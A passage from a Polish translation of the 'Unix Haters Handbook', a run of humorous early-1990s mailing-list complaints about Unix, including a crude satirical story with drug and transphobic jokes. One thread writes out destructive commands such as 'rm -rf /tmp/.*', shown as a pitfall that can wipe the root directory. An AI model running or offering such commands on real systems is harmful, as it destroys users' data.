Zauważcie sławne „>Od” [>From] w ostatniej linii. Pytanie: czy ona zaczynała się jako „od problemu” czy „Od problemu”? Cudowne oprogramowanie Unixa nie tylko wstawia „>”, ale także wymusza żeby pierwsza litera była duża po to, aby pomóc to zauważyć?

Pst. Plotka: w następnej wersji System V, program pocztowy będzie sprawdzał każde użycie słowa „Unix”. Zmieni pierwszą literę na dużą jeśli źle napiszesz („unix”) i doda ™ jeśli zapomnisz. Umowa licencyjna zabroni wyłączania tej funkcji, albo uruchomienia innego programu pocztowego który tego nie robi. Spodziewajcie się podobnych ulepszeń interfejsu użytkownika w kolejnych wersjach Unixowych edytorów, formaterów tekstu, kolejek drukarkowych i tak dalej.

Usłyszeliście to tutaj po raz pierwszy. Podajcie dalej.

From: RSDate: Mon, 10 Aug 1992 10:54:32 -0800Subject: FYI: Why Ask Why?

Dostałem to od gościa z którym pracuję:

------ Forwarded Message

-rwxr--r-- 2 root bin 103416 Jun 8 1991 halt

Nie rozumiem dlaczego aż 103416 bajtów wymaga zatrzymanie systemu?

------ End of Forwarded Message

From: JADate: Wed, 12 Aug 1992 11:59-0400Subject: [Unable to deliver letter]

223

Page 224: Unix Haters Handbook

Ten błąd zwrócony przez serwer poczty streszcza dziwactwa Unixowe którymi chciałem się z wami podzielić... Bolesne jest nawet patrzenie. Wiecie, Unix właściwie zmienia się na gorsze z czasem. Nie widzielibyśmy takiego idiotyzmu trzy lata temu... Oczywiście nie mogę nawet wysłać maila do postmastera, bo dostanę taki sam błąd ponownie!

Date: Wed, 12 Aug 1992 00:11 EDTFrom: [email protected]: Unable To Deliver Letter

Unable to deliver letter to the following recipient: [email protected]: SMTP error from host NOW.HERE.ELSE: Expected reply: 220 Received reply: ld.so: warning: /usr/local/lib/libdsap.so.80.1 has older revision than expected 2220 now.here.else PP Here - Pleased to meet you (Complaints/bugs to: [email protected])

----- Text of letter deleted -----

From: WADate: Thu, 20 Aug 92 16:00:07 EDT Subject: Spell Checker With An Attitude Problem

Z grapevine [winorośli?]

> Kiedy używałem sprawdzania pisowni w WordPerfect, program zatrzymał się na słowie > Unix. Pomiędzy synonimami zasugerował „anus”.

From: SSDate: Thu, 27 Aug 1992 18:17:18 -0500Subject: Freedom Is Slavery

Date: Tue, 25 Aug 1992 14:06:47 -0400From: SCSubject: Re: Some Thoughts On B9

[…]

Zgadzam się, w ogólności. Jednym z najsilniejszych kontrastów jakie zauważyłem pomiędzy programami X windows a Macintoshowymi są te wszystkie opcje linii komend, Xresources, Xdefaults itd. Wygląda na to że programiści X są całkowicie niezdolni do podjęcia jakiejkolwiek decyzji co do interfejsu użytkownika, i zamiast tego porzucają swoje zobowiązania, pozostawiając pytania bez odpowiedzi i przekazując je do końcowego użytkownika żeby je rozwiązał. To jest robione w imię „wyboru” albo „wolności”, co oznacza że jeśli siedzisz przy czyimś terminalu X żeby sprawdzić swoją pocztę, masz małe szanse na użycie terminalu albo jakiejś aplikacji efektywnie. Nie chcę żeby moje programy były jak mebel do samodzielnego złożenia.

224

Page 225: Unix Haters Handbook

[...]

From: ABDate: Mon, 14 Sep 92 23:46:03 EDTSubject: Re: What Else?

From: ARDate: Mon, 14 Sep 92 12:18:56 EDTSubject: What Else?

liszt:/mas/u/ar/file % fgrep ich@ ../Mail/outgoing/*/usr/bin/fgrep: Arg list too long.liszt:/mas/u/ar/file % foreach i (1 2 3 4 5 6 7 8 9)foreach? grep ich@ ../Mail/outgoing/$i*foreach? echo $iforeach? end123../Mail/outgoing/457:To: [email protected]../Mail/outgoing/469:To: [email protected]../Mail/outgoing/470:To: [email protected]../Mail/outgoing/477:To: [email protected]

Niesamowite, nieprawdaż, że Unix zmusza każdego użytkownika do ponownego odkrywania tego samego zestawu obejść do tych samych głupich błędów. Musiałem uciec się do powyższej prowizorki kilka razy, więc założę się że jest to dobrze znana technika. Można ją pewnie nawet znaleźć opisaną w książkach dla „zaawansowanych” użytkowników Unixa.

From: SMDate: Tue, 15 Sep 1992 11:02-0400Subject: Re: What Else?

From: ABDate: Mon, 14 Sep 1992 23:46 EDT

Rozwiązanie, jak każdy sezonowany weteran Unixa powie, to użycie „tar”-a jeśli chcesz skopiować hierarchię. To nie żart. Proste i eleganckie, prawda?

Dla mnie, używanie „tar”-a do skopiowania hierarchii katalogów to archetyp tego, co jest fundamentalnie złego w Unixie: użytkownik jest zmuszony do mówienia zawsze jak chce mieć coś zrobione zamiast mówić co chce mieć zrobione.

From: GRDate: Sat, 26 Sep 92 16:02:24 -0400

225

Page 226: Unix Haters Handbook

Subject: cpio Really Knows That's Going On...

Oczywiście, wpadłem na to ponieważ wręczono mi kilka starych backupów Unixa zapisanych w nieznanym formacie, próbowałem wszystkich losowych narzędzi, żadne z nich nie robiło wszystkiego (albo nawet kilku rzeczy) dobrze i stałem się zdesperowany.

Nie rozumiem, jak taki OS który przetrwał tak wiele lat (albo jak propagował się przez tak wiele lat) i jest w założeniach przenośny itd. mógł to zrobić bez standardowego formatu backupu. Oczywiście, Unixowe świry nigdy nie przywracają backupu (nawet jeśli go w ogóle robią), są zbyt zajęci posiadaniem 47 kopii wszystkiego ponieważ nie mogą sami sobie wierzyć że nie napiszą „rm –rf” przypadkowo, system plików nie zniszczy ich plików w czasie padu, albo że NFS nie powstawia strony zer w środku ich pliku ponieważ jest cudownym bezstanowym protokołem.

Ostatecznie to prawdopodobnie nie ma znaczenia dla nich ponieważ ich programy nie są warte zachowywania.

Aargh!

From: KHDate: Mon, 28 Sep 92 17:40:47 EDTSubject: We Don't Need No Stinking Debuggers

Podczas linkowania dużego programu C++ na rodzinie HP 9000, następujący błąd pojawia się losowo:

pdbx: internal error, file won't be debuggable (still a valid executable)

Żadnego wskazania, gdzie jest błąd albo co go powoduje. Nawet bardziej podły jest fakt że plik wykonywalny niekoniecznie jest właściwy (np. kod który jest znany jako poprawny wywala się w tajemniczych okolicznościach).

Kiedy ten błąd występował, szukaliśmy zmian we wszystkim co mogło spowodować błąd (np. statyczne zmienne w funkcjach czasami konfudują biedną bestię). Oczywiście to recepta na szaleństwo jeśli właśnie zmieniłeś 15 plików albo coś podobnego. Wtedy jeden z moich współpracowników powiedział mi o swoim rozwiązaniu: po prostu dodaje więcej kodu (nieważne jaki plik sobie wybierzesz), dopóki plik nie stał się debuggowalny z powrotem. Debuggery takie jak ten wspierają wartość rodzinną Unixa #1: jeśli mała kupa gówna nie działa, może wielka kula gówna będzie działać.

From: IHDate: Mon, 12 Oct 92 12:34:03 EDTSubject: Creative Writing Project

To jest wyjątek z cyklu jaki zacząłem pisać ostatniego lata pod tytułem „Krew na magistrali”, kiedy musiałem spędzić miesiąc na instalacji klastra Unixowego. Myślę że więcej już nie napiszę, więc skromnie przedstawiam ten mizerny fragment tekstu jako pokutę za moje obrzydliwe zaniedbania właściwej złośliwości w przeszłości.

Unix to program który zszedł na złą drogę. Urodzony w ubóstwie, jego rodzice, firma telefoniczna, nie mogła kupić więcej niż rolki papieru dalekopisowego rocznie, więc Unix nigdy nie miał porządnej dokumentacji, a jego kod źródłowy musiał być w ogóle bez żadnych komentarzy. Rok po roku, ojciec Bell upokarzał się prosząc o zwiększenie funduszy żeby

226

Page 227: Unix Haters Handbook

mógł nakarmić dziecko. Pomimo tego, Unix musiał chodzić do szkoły gdzie były tylko dwu- i trzyliterowe nazwy komend, ponieważ firma telefoniczna nie mogła posłać go do lepszej. W szkole, inne systemy operacyjne z prawdziwymi nazwami komend, a nawet kompletowaniem komend, szydziły z biednego Unixa że nie ma żadnych mechanizmów zarządzania zadaniami czy terminalami, używania systemu plików do komunikacji między procesami, blokowania plików.

Wtedy, gorzka i osłabiona przez swoje ubóstwo, firma telefoniczna zaczęła pić. Podczas straconych weekendów pijanych ekscesów, brutalnie bili biednego małego Unixa w twarz i szyję. W końcu Unix uciekł z domu. Szybko zaczął żyć na ulicach Berkeley. Jego życie stało się degradującą podróżą w narkotyki i rozpustę. Żeby przeżyć, sprzedawał tanie licencje na własny kod źródłowy dla uniwersytetów które używały go do eksperymentów medycznych. Będąc rozwięźle hackowanym przez nieskończony strumień bezimiennych studentów bez twarzy, zarówno mężczyzn i kobiety, często przez więcej niż jednego w tym samym czasie, Unix wpadł w piekielną dziurę deprawacji.

Tak więc biedny mały Unix popadł w obłęd. Wycofał się mocno do świata marzeń, jedynego miejsca gdzie czuł się bezpiecznie. Brał heroinę i marzył o byciu prawdziwym systemem operacyjnym. Brał LSD i marzył o byciu pachnącym malinami trzypalcowym jakiem. W miarę jak Unix był coraz bardziej uzależniony od LSD, spędzał weekendy czytając Huntera Thompsona i braniu koktaili kwasu i speedu podczas pisania szalonej poezji w której znajdował głęboki sens, ale nikt inny nie mógł jej zrozumieć:

$sed <$mf >$mf.new -e '1,/^# AUTOMATICALLY/!d'

make shlist || ($echo "Searching for .SH files..."; \ $echo *.SH | $tr ' ' '\012' | $egrep -v '\*' >.shlist)

if $test -s .deptmp; thenfor file in `cat .shlist`; do $echo `$expr X$file : 'X\(.*\).SH'`: $file config.sh \; \

/bin/sh $file >> .deptmpdone$echo "Updating $mf..."$echo "# If this runs make out of memory, delete /usr/include lines."

\ >> $mf.new$sed 's|^\(.*\.o:\) *\(.*/.*\.c\) *$|\1 \2; '"$defrule \2|" .deptmp \ >>$mf.new

elsemake hlist || ($echo "Searching for .h files..."; \ $echo *.h | $tr ' ' '\012' | $egrep -v '\*' >.hlist)$echo "You don't seem to have a proper C preprocessor. Using grep

instead."$egrep '^#include ' `cat .clist` `cat .hlist` >.deptmp$echo "Updating $mf..."<.clist $sed -n \ -e '/\//{' \ -e 's|^\(.*\)/\(.*\)\.c|\2.o: \1/\2.c; '"$defrule \1/\2.c|p"\ -e d \ -e '}' \ -e 's|^\(.*\)\.c|\1.o: \1.c|p' >> $mf.new<.hlist $sed -n 's|\(.*/\)\(.*\)|s= \2= \1\2=|p' >.hsed<.deptmp $sed -n 's|c:#include "\(.*\)".*$|o: \1|p' | \ $sed 's|^[^;]*/||' | \ $sed -f .hsed >> $mf.new<.deptmp $sed -n 's|c:#include <\(.*\)>.*$|o: /usr/include/\1|p' \ >> $mf.new<.deptmp $sed -n 's|h:#include "\(.*\)".*$|h: \1|p' | \ $sed -f .hsed >> $mf.new

227

Page 228: Unix Haters Handbook

<.deptmp $sed -n 's|h:#include <\(.*\)>.*$|h: /usr/include/\1|p' \ >> $mf.newfor file in `$cat .shlist`; do $echo `$expr X$file : 'X\(.*\).SH'`: $file config.sh \; \

/bin/sh $file >> $mf.newdone

fi

W końcu Unix zaczął chodzić po Alei Telegrafu rozmawiając ze sobą, mówiąc w kółko „Panic: freeing free inode”. Czasami zaczepiał obcych i krzyczał „Bus error (core dumped)!” albo „UNEXPECTED INCONSISTENCY: RUN FSCK MANUALLY!” wysoko brzmiącym piskiem jak chihuahua z amfetaminową psychozą. Porządni obywatele udawali że są niewidzialni. Matki z dziećmi przechodziły na drugą stronę ulicy.

Pewnego wieczoru Unix oglądał telewizję, i to wydarzenie zmieniło jego życie. Odkrył profesjonalny wrestling i wiedział, że znalazł to czego szukał. Zaczął brać duże dawki kortykosteroidów żeby być większym od największych programów które pobiły go jako dziecko. Jadł trzy tuziny naleśników i cztery tuziny nowych funkcji na śniadanie każdego dnia. Kiedy komplikacje po steroidach pogarszały się, jego wewnętrzne organy urosły do takiej wielkości, że Unix nie mógł ich w sobie pomieścić.

Najpierw urósł kernel, potem biblioteka C, potem demony. Szybko jeden z jego systemów okien zaczął wymagać dwóch megabajtów przestrzeni wymiany na każde otwarte okno. Unix zaczął wybrzuszać się w dziwnych, niekorzystnych miejscach. Ale nadal brał narkotyki i jego wewnętrzne organy nadal rosły. Urosły jego uszy i nozdrza. Pod niesamowitym naciskiem mózg Unixa w końcu się upłynnił. Szybko Unix miał masę Andre Giganta, ciało Człowieka Słonia i umysł zapomnianej postaci Jacka Nicholsona.

Największe deformacje objęły umysł Unixa. Nie był w stanie zasymilować wszystkich konfliktujących łatanin funkcji jakie połknął, jego osobowość rozpadła się na miliony oddzielnych, niekompatybilnych systemów operacyjnych. Ludzie ostrożnie mówili „dzień dobry, Unix. Kim jesteś dzisiaj?” a on odpowiadał „Beastie” (BSD), albo „Domain”, albo „Jestem System III, ale jutro będę System V”.

Psychiatrzy pracowali przez lata żeby zespawać dwa główne pola osobowości Unixa, „Beasty Boy” - młody miastowy z Berkeley i „Belle” – północny transwestyta który chciał być kobietą. Z każdą próbą te dwa pola mutowały ze sobą, jak psychotyczne retrowirusy, pozostawiając po swoim związku bezwartościową plamę protoplazmy wymagającą ciągłego podtrzymywania życia, która pozostawała kompatybilna z osobowościami rodziców.

W końcu, niezrównoważony swoim nowotworowym wzrostem, Unix wpadł do dołu pełnego toksycznej radioaktywnej uryny, z której wyszedł z białą skórą i zielonymi włosami. Śmierdział jak czyjaś umarła babcia. Z potwornym grymasem na twarzy, jest gotowy na podbój świata.

From: TMDate: Mon, 12 Oct 92 18:56:53 -0700Subject: [Another Reason To Hate Solaris]

------- Forwarded Message

From: BKDate: Mon, 12 Oct 92 18:44:01 PDTSubject: Another Reason To Hate Solaris

228

Page 229: Unix Haters Handbook

Numer błędu ENOTEMPTY nie istnieje dłużej w System V Release 4. Więc Sun ustawił numer błędu wywołania systemowego rmdir() na EEXIST zamiast tego. To powoduje że dostajesz

% rmdir fulldirrmdir: File exists%

kiedy próbujesz usunąć niepusty katalog. Dla mnie to w ogóle nie jest intuicyjne.

------- End of Forwarded Message

From: BYDate: Thu, 15 Oct 92 16:51:14 PDTSubject: [Patch For scm4a12.tar.Z]

Date: Thu, 15 Oct 1992 09:22-0400From: AW

Date: Wed, 14 Oct 1992 17:21 EDFrom: AB

Date: 12 Oct 92 18:52:48 GMTFrom: AJSubject: patch for scm4a12.tar.Z

Wiele osób wskazywało na błąd w scl.c. Odpowiedzią jest łata dla scm4a12.tar.Z. Inne poprawki są od [email protected]. Zaktualizowałem wersje na

altdorf.one.two.thr:archive/scm/scm4a12.tar.Z inexus.yorku.ca:pub/scheme/new/scm4a12.tar.Z.

Lekcja jaką z tego wyciągnąłem jest taka, że jeśli puszcza się Make na dwóch różnych maszynach, trzeba się upewnić, że ich zegary nie różnią się więcej niż o minutę.

Niech podniosą rękę ci, którzy pamiętają kiedy systemy plików obsługiwały numery wersji plików.

Nie róbcie tego. Paranoiczne świry Unixowe pod zarzutem prozelityzmu zastrzelą was. Nie lubią ludzi którzy znają prawdę.

Do diabła, pamiętam kiedy system plików był mapowany do przestrzeni adresowej! Nawet pamię<BANG!>

From: OS

229

Page 230: Unix Haters Handbook

Date: Sat, 7 Nov 92 16:10:06 ESTSubject: Oh, I Don't Know, Just Reboot And It Should Work

Następująca wiadomość (w której znaczniki identyfikacyjne w większości usunąłem) pokazuje jak Unix jest odporny na tradycyjne techniki naprawy (np. „większym młotkiem”):

[Problem był taki, że kiedy wysłałem wiadomość na prawidłowy adres na tej maszynie, poczta wracała z adnotacją „użytkownik nieznany”. Potem dowiedziałem się że robiła to sporadycznie od miesięcy.]

From: [email protected] (Name Withheld)To: [email protected]: sendmail problem on xxxxxxxxxDate: Mon, 02 Nov 92 07:50:54 EST

Naprawiłem to wczoraj popołudniu (w niedzielę). Z jakiegoś powodu sendmail nie potrafi rozpoznać właściwych identyfikatorów użytkowników po reboocie. Zabicie i zrestartowanie demona naprawia problem. Admin i ja sprawdzamy to, ale jak dotąd nie udało nam się dowiedzieć co jest źle.

Z pewnością, wyłącznik „off” pozostaje bardziej efektywną kuracją dla Unixa niż proste zresetowanie.

From: SSDate: Mon, 9 Nov 1992 15:45:59 -0500Subject: What The DEBUG Flag Is For

Już rozumiem. Programiści C używają DEBUG żeby dodać więcej błędów do programu.

>Date: Mon, 9 Nov 1992 12:00:02 -0600>Reply-To: Eudora mailing list <[email protected]>>Sender: Eudora mailing list <[email protected]>>From: SD>Subject: Old News: Popper 1.7 Bug>To: Multiple recipients of list EUDORA <[email protected]>>> To stara wiadomość, ale dostałem ostatnio kilka raportów, więc ostrzegam wszystkich > ponownie:> > Jeśli używasz serwera POP3 „popper”, wersja 1.7, UPEWNIJ SIĘ że NIE kompilowałeś go > z włączoną flagą DEBUG. Jeśli flaga DEBUG jest włączona, popper 1.7 BĘDZIE gubił > całą pocztę jeśli połączenie zostanie przerwane w trakcie sesji.>> Można naprawić ten problem przez rekompilację poppera 1.7 bez flagi DEBUG, albo przez > pobranie poppera 1.831 z ftp.cc.berkeley.edu, podkatalog pub/popper.> -->>

230

Page 231: Unix Haters Handbook

From: PWDate: Mon, 23 Nov 1992 11:19-0500Subject: Clever Signature Lines We Wish We Didn't Get

[Z ostatniego maila]Pozdrawiam,XXXXXXXXXXXXX

% cat murphy.lawPrawo Murphy’ego: "Cokolwiek może pójść źle, naSegmentation fault: core dumped.

From: SGDate: Tue, 1 Dec 92 16:50:12 -0500Subject: sleep 5

Czy nie kochacie tego? sleep 5. Nie ma prostego sposobu na powiedzenie Unixowi żeby zrobił jedną rzecz, poczekał na koniec i zrobił inną rzecz. Żadnej synchroniczności. Żadnej PRAWDZIWEJ kontroli zadań. Po prostu czekamy pięć sekund i mamy nadzieję że X serwer wystartował.

Najgorsze jest to, że takie kombinacje są czczone jako „dobra pomoc techniczna”. Stają się standardowym sposobem robienia czegoś.

Chyba połamię sobie palce.

From: HVDate: Mon, 30 Nov 1992 17:47:10 GMTSubject: Re: SUMMARY: Alternate and Command Emacs Key Bindings

Czasami używam emacs-a w coXist 3.0. Żeby coXist rozpoznawał klawisz Alt jako metaklawisz, w pomocy technicznej coXist powiedzieli mi żebym wpisał następujące linie w .xinitrc:

# these 3 lines make the Alt key the meta key in Emacssleep 5xmodmap -e "keysym Alt_L = Meta_L"xmodmap -e "keysym Alt_R = Meta_R"

From: LFDate: Fri, 4 Dec 92 01:34:23 -0500Subject: No Further Comment Necessary

- - - Start of forwarded message - - -

From: CHDate: Fri, 4 Dec 1992 00:32:22 -500 (EST)Subject: AIX Updates

231

Page 232: Unix Haters Handbook

Widziane na comp.unix.aix:

Wśród żałosnych opisów poprawek jakie przyszły z taśmą (większość z nich nie mówi po co jest, ale mówi że nie będzie miała efektu przed rebootem...), ten wygrał pierwszą nagrodę:

IX30126Ten defekt zastąpi aktualne pliki zasad. Musisz je zapisać przed instalacją tego defektu.

Teraz dostarczają dodatkowe defekty, na wypadek gdyby było ich za mało w oryginalnym systemie.

- - - End of forwarded message - - -

From: MCDate: Tue, 8 Dec 92 22:57:04 ESTSubject: The AIX Environment.

% unsetenv TERM% telnet idiocyNo environment-specified terminal type.%% setenv TERM VT100% telnet idiocyNo terminfo entry for "VT100".%% setenv TERM vt100% telnet idiocytelnet: Unknown host idiocy

From: RCDate: Mon, 14 Dec 92 09:40:43 ESTSubject: Consistent Behavior Of Commands

To zdarzyło mi się przed chwilą i wysłałem to do kolegi. Powiedział że powinienem to wysłać na tą listę, więc to zrobiłem.

$ lpq lpq: bozo: printer/tcp: unknown service

Hmm. Dziwny błąd drukarki jakiego wcześniej nie widziałem. Powinienem powiadomić administratorów systemu? Nie, to jest Unix. Może powinienem zrobić drugi raz dokładnie to samo i zobaczyć co się stanie.

$ lpq bozo is ready and printing Rank Owner Job Files Total Size active quezon 773 /tmp/ESa20256 87656 bytes $

From: RS

232

Page 233: Unix Haters Handbook

Date: Fri, 18 Dec 1992 02:08:20 -0500Subject: Happy, Happy, Joy, Joy... NOT!!

PIEP___ONA NĘDZNA KUPA GÓWNA, ŻAŁOSNA PODRÓBKA SYSTEMU OPERACYJNEGO…

Jak myślicie, co robi:

csh# rm -rf /tmp/.*

Jeśli powiecie: „Csh rozszerzy to w linii komend i spróbuje rekursywnie usunąć katalog powyżej /tmp (root)”, to macie rację.

Szkoda że gównogłowy który napisał rm nie może być DRĘCZONY za specjalne przypadki jasno oszukańczych komend typu „Rekursywnie usuń katalogi powyżej mnie”. Bez wątpienia, Unixowe świry będą utrzymywać że to jest właściwe działanie.

Szkoda że zdecydowałem się połknąć moją dumę i zeszmacić się żeby zrobić trochę kasy na boku jako DORADCA UNIXOWY tak, że teraz wyszedłem na idiotę przed klientami.

Szkoda że nie POSIADAM Sparc-a 2 ponieważ wtedy mógłbym WYRZUCIĆ GO PRZEZ OKNO i patrzeć JAK SPADA TRZY PIĘTRA NA BETONOWY CHODNIK I ROZTRZASKUJE SIĘ NA MILION MAŁYCH KAWAŁKÓW.

Czuję się lepiej teraz.

From: RCDate: Fri, 18 Dec 92 07:24:39 ESTSubject: Re: Happy, Happy, Joy, Joy... NOT!!

RS writes:

Jak myślicie, co robi:

csh# rm -rf /tmp/.*

Jeśli powiecie: „Csh rozszerzy to w linii komend i spróbuje rekursywnie usunąć katalog powyżej /tmp (root)”, to macie rację.

Szkoda że gównogłowy który napisał rm nie może być DRĘCZONY za specjalne przypadki jasno oszukańczych komend typu „Rekursywnie usuń katalogi powyżej mnie”. Bez wątpienia, Unixowe świry będą utrzymywać że to jest właściwe działanie.

Bardzo miłe. Zwłaszcza z punktu widzenia manuala do rm który mówi:

UWAGAZabronione jest usuwanie pliku ‘..’ aby uniknąć aspołecznych konsekwencji przypadkowego zrobienia czegoś typu ‘rm –r .*’.

Nie ma żadnej wskazówki że cokolwiek to omija. Co za użyteczna ochrona! Jak miło mieć system który wie lepiej co naprawdę chcę zrobić.

Nawiasem mówiąc, spróbowałem zrobić to samo u siebie żeby zobaczyć czy będzie działać w ten sam sposób na moim systemie. To Unix, i spójność nie jest gwarantowana. Robi to samo, ale z jednym zachwycającym dodatkiem:

233

Page 234: Unix Haters Handbook

lancet% mkdir foolancet% cd foolancet% mkdir barlancet% cd barlancet% /bin/rm -rf `pwd`/.*Segmentation faultlancet%

W końcu jaka funkcja Unixa jest kompletna bez popularnego Segmentation Fault?

From: IHDate: Fri, 18 Dec 92 11:04:53 ESTSubject: Re: Happy, Happy, Joy, Joy... NOT!!

<przepraszam, AB. To odpowiedź, ale jest o innej okropnej funkcji.>

Cóż, jeśli rozumiesz COKOLWIEK, powinieneś wiedzieć że właściwa inkantacja to:ian@reamer> rm -rf /tmp/.??*

Ale jeśli okaże się że jakiś mądry macher zmienił znaczenie ?, jak tutaj w MIT-AI, kiedy NAPISZESZ „rm –rf /tmp/.??*”, DOSTANIESZ:

tla@reamer> rm -rf /tmp/.../ ./ .X11-unix/ .getwdtla@reamer> rm -rf /tmp/.../ ./ .X11-unix/ .getwdtla@reamer> rm -rf /tmp/.*

Jeśli nie zauważyłeś że ? został przeładowany „wypisywaniem możliwych kompletowań nazw plików”, w końcu I TAK wykona „rm –rf /tmp/.*”. Kiedy kilka razy się wkurzysz na to nauczysz się, że NAPRAWDĘ powinieneś napisać „rm –rf /tmp/.^V?^V?*”. Oto dlaczego Unix™ jest lepszy od ITS-a: Unix nie wymaga wpisywania tajemniczych kombinacji klawiszy kontrolnych żeby manipulować plikami. Uderzasz się w głowę, mówisz „Oczywiście! Dziecko by to zrobiło!”. I po kilku skasowaniach swojego katalogu, robisz to dobrze.

Oczywiście to nie będzie działać z nazwami plików typu „.x”, w takim przypadku musisz napisać „rm –rf /tmp/.[^.]*”, przynajmniej tak MYŚLĘ. Widzisz, jest pewien problem w Unixie: są WYRAŻENIA REGULARNE, które są jedną rzeczą, i są WYRAŻENIA REGULARNE, które są inną rzeczą, i czasami mieszają mi się one, więc nie jestem pewien czy „/tmp/.[^.]*” to wyrażenie regularne czy wyrażenie regularne. Wyglądają naprawdę zupełnie inaczej, ale to dobrze ponieważ mają niekompatybilną semantykę.

Quiz: zidentyfikuj następujące wzorce:(a) „a*”(b) „a*”

(odpowiedzi: (a) jest wyrażeniem regularnym, ale (b) nie – jest wyrażeniem regularnym).

Zauważ różnicę w wymowie: wzorce używane przez shell są nazywane „wyrażeniami regularnymi”, podczas gdy wzorce używane wszędzie indziej są nazywane „wyrażeniami regularnymi”. Nigdy nie powinieneś ich mylić. Wyrażenia regularne używane do dopasowań

234

Page 235: Unix Haters Handbook

w shellu są udokumentowane w sekcji „WYRAŻENIA REGULARNE”, podczas gdy wyrażenia regularne używane do dopasowań, zupełnie innego zadania, przez grep(1), są udokumentowane w sekcji „WYRAŻENIA REGULARNE”. Te pierwsze wyglądają jak stringi, ale mają specjalne znaki wieloznaczne jak „?”, „*” i „[]”, podczas gdy te drugie też wyglądają jak stringi ale mają specjalne znaki wieloznaczne jak „?”, „*” i „[]”. Upewnij się że zauważyłeś różnicę w wyglądzie ponieważ mają różną semantykę. Na przykład wyrażenie regularne „[a-z]*” dopasowuje wszystkie stringi składające się z małych liter, podczas gdy wyrażenie regularne „[a-z]*” dopasowuje wszystkie pliki zaczynające się od małej litery.

Mam nadzieję że to wszystko wszystkim wyjaśniło.

From: DHDate: Mon, 25 Jan 93 01:33:20 ESTSubject: Take A Dump -- Please!

Ta starożytna wiadomość wróciła do mnie żeby mnie straszyć dziś wieczorem. Przesyłam ją z jedną obserwacją nawet wielcy fani Unixa myślą że sterowniki Unixa są lamerskie...

Date: Mon, 19 Oct 92 18:21:31 -0700From: [email protected]: Re: dump parameters

> Być może skoro dane idą nie na taśmę, ale do [pipe], dump nie robi kalkulacji dłu- > gości w ogóle?

Kalkulacje długości dump-a są tajemnicze i zupełnie przestarzałe. Musisz je oszukać, i eksperymentować z liczbami aż uzyskasz właściwy rezultat.

Dump zawsze robi kalkulację długości, wszystko jedno czy do [pipe] czy gdziekolwiek indziej.

Właściwa poprawka dla dump-a to zauważenie, kiedy otrzymuje EOF przy zapisie na taśmę i zmiana taśm w tym momencie. To byłoby chyba jednak zbyt inteligentne dla Unixowych sterowników napędów taśmowych.

From: CMDate: Thu, 28 Jan 93 02:42:41 ESTSubject: find'ing Bogons

Mam tą maszynę NeXT w domu. W porównaniu do innych maszyn Unixowych, nie jest do dupy. Faktycznie, nie jest taka zła, ponieważ NeXT zdecydował się odejść od standardów w kierunku używalności. Do diabła, odeszli nawet od matczynej koncepcji konfigurowalności przez użytkownika tak że wszystkie maszyny NeXT mają spójny interfejs. („Możesz tylko używać zatwierdzonych przypisań klawiszy i myszki. Każdy złapany z niedozwolonymi przypisaniami klawiszy będzie zastrzelony.”)

Z jakiegoś powodu dysk szaleje o 2 nad ranem. Wygląda na to że find szuka w całym systemie plików plików nazwanych .nfs* i je kasuje. Żadnych prób. Błyskawiczna śmierć. I nieważne, że nie używasz NFS-u, albo nawet sieci. Nigdy nie wiadomo gdzie takie rzeczy się pokażą.

235

Page 236: Unix Haters Handbook

Mam nowy świetny napęd CD-ROM. Pozwala mi przechowywać 600 MB informacji online. Niektórzy mówią że to największy wynalazek od czasu prasy Gutenberga. W każdym razie jest 2:28 nad ranem i CD-ROM kręci się jak szalony.

Tak, find szuka tych wrednych pozostałości .nfs na moim CD-ROMie żeby mógł spróbować je skasować. Coś jak pies goniący za samochodem; dziwisz się co zrobi jeśli go złapie.

W każdym razie myślisz, że osoba która to pisała mogła uzyć trochę więcej zdrowego rozsądku. W końcu /etc/mtab jasno mówi że CD-ROM jest zamontowany tylko do odczytu. Co może być jaśniejszego niż stary plik /etc/mtab:

/private/vm/swapfile "/private/vm/swapfile.front" swapfs rw 1 2/dev/sd0a "/" 4.3 rw,noquota,noauto 0 1/dev/rsd1h "/BSD386_GAMMA4" cfs ro,removable,filesystem=CDROM 1 2

Widzicie to „ro”? To oznacza „read-only”. Tak myślę. A te numery muszą znaczyć coś naprawdę ważnego.

To właśnie lubię w Unixie. Wszelkie kluczowe informacje w łatwych do użytku plikach konfiguracyjnych powodują, że administrowanie systemem jest proste. Możesz nawet edytować te pliki przy użyciu vi!

From: DWDate: Thu, 28 Jan 93 23:41:21 ESTSubject: Unix-Haters Was Right All Along.

Naturalnie, awarie zawsze materializują się w zaraz przed dniem, w którym zaplanowałeś urlop. Wieczorem poprzedniego dnia przed moim wyjazdem chciałem jeszcze raz uruchomić eksperymentalny benchmark który zajmuje około pół godziny na uruchomienie. Więc włączyłem go, wróciłem po około pół godzinie z kolegą żebyśmy mogli zobaczyć rezultaty. Co zobaczyliśmy? „Segmentation violation”. O, dzięki. Uruchamialiśmy ten program cały dzień, robiliśmy w nim tylko jedną drobną zmianę, i program padał nie mówiąc niczego użytecznego, po pół godzinie. To jest sytuacja klient-serwer, więc musieliśmy związać dwie maszyny na pół godziny za każdym razem.

Zdecydowałem że spróbuję się zorientować co jest źle. Gdybym zwracał uwagę na Unix-Haters w taki sposób jak powinienem, wiedziałbym, że to DAREMNE i świadczy o ZŁYM PODEJŚCIU. Ale poszedłem dalej jak gdybym używał prawdziwego komputera. Uruchomiłem program pod gdb. Po półgodzinnym czekaniu, gdb powiedział (nie pamiętam dokładnie słów, ale coś podobnego): „Nielegalne odwołanie do pamięci. Wewnętrzne procesy dłużej nie istnieją.” Czyli żadnej użytecznej informacji.

Spróbowałem jeszcze raz. Uruchomiłem pod gdb, i okresowo przerywałem program więc mogłem przynajmniej ustalić dolną granicę występowania problemu. Robiłem to przez jakiś czas. Wtedy przestał odpowiadań na moje control-C. Szybko odkryłem że nie odpowiada na cokolwiek, w żadnym oknie. Zaraz potem okazało się że żadna stacja w sali nie odpowiada na nic! Każdy próbował dowiedzieć się co się dzieje. Najczęstszymi podejrzanymi były serwery, ale działały. Szybko zrozumieliśmy że Ethernet jest wysycony. Ktoś na PC (jeśli masz coś naprawdę do zrobienia, nie włączaj Unixa) analizował pakiety i spostrzegł że jest mrowie pakietów UDP pomiędzy moimi dwoma maszynami. Teraz każdy mówił komuś innemu „O, to wszystko wina Dana!”

Szybko pojawiła się teoria że jakaś maszyna robi zrzut core do katalogu zamontowanego pod NFS-em na innej maszynie. Nie było sposobu żeby to sprawdzić, ponieważ wszystko było całkowicie zablokowane. W tym momencie miałem dosyć. Po prostu

236

Page 237: Unix Haters Handbook

